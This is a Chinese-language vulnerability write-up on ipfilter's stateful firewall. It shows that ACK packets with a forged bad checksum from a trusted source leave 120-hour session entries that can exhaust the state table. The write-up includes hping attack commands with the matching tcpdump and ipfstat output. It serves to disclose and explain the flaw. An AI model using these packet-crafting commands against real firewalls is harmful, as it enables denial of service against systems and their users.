对基于状态的防火墙而言，目前成熟的拒绝服务攻击核心其实就是两种，构造大量的SYN数据包或者UDP数据包淹没防火墙的状态表。很不幸，ipfilter在这两种攻击下都显得很脆弱，但是，打算使用ipfilter的管理员不要沮丧，商用的checkpoint、pix、netscreen等产品也都有这个问题，:)，只不过管理员要正视安全产品的问题。
除了上述共性问题外，作者还发现ipfilter的一个安全问题，在ipfilter在状态实现中，对于收到的带有ack标志的tcp数据包如果来源ip是允许的，那么它总是会认为该连结处于TCPS_ESTABLISHED状态，只不过受ipfilter保护的系统根据tcp实现会对孤立的ack复位发送rst数据包，ipfilter看到这个rst数据包后，会将session标记为完成状态，进入1分钟倒计时，计时结束，这个session就从状态表中丢弃；但是，由于ipfilter不检查数据包的checksum，而受ipfilter保护的系统的应用会检查数据包的checksum，假如攻击者故意发送checksum错误的源ip是可信的数据包，防火墙根据访问控制列放过了该数据包，在内存中登记了该状态包，并等待应用程序对该数据包的响应，但是由于checksum错误，应用程序会无声无息的丢弃该数据包，那么问题就来了，防火墙由于没有看到应用程序回应的带rst标志的数据包，会在establish状态中等待ttl长达120小时！
来做个有趣的实验看看：
在clientA上用hping发送ack标志的tcp数据包到目的端口22
[yiming@clientA]# hping server -A -s 1234 -p 22 -c 1
HPING server (eth0 server): A set, 40 headers + 0 data bytes
len=46 ip=server flags=R DF seq=0 ttl=62 id=38975 win=0 rtt=0.4 ms
同时我们在server上抓包如下：
server#tcpdump host clientA
tcpdump: listening on hme0
17:09:27.566053 clientA.1234 > server.22: . ack 4103395700 win 512
17:09:27.566070 server.22 > clientA.1234: R 1794127092:1794127092(0) win 0 (DF)
再用ipfstat –t看
clientA,1234 server,22 4/0 tcp 2 80 0:52
我们看到这个数据包顺利的通过了防火墙server，并且在单方向上进入了4状态，只是由于防火墙后面server端的ssh复位了单独的ack数据包。连结才变为了等待结束的1分钟倒计时状态。
下面发送错误的checksum数据包，
[yiming@clientA]#hping server -A -s 1235 -p 22 -c 1 -b
HPING server (eth0 server): A set, 40 headers + 0 data bytes
抓包看：
server#tcpdump host clientA
tcpdump: listening on hme0
17:11:02.134593 clientA.1235 > server.22: . ack 1421452763 win 512
我们看到系统简单的丢弃了数据包，没有响应。
此时再看状态表
clientA,1235 server,22 4/0 tcp 1 40 119:59:48
ipfilter的状态表内增加了一条ttl长达120小时的session纪录！
在作者的实验中，利用ipfilter的这个安全隐患，攻击者可以在远程攻击ipfilter主机，并在几分钟内使目标系统彻底瘫痪 |
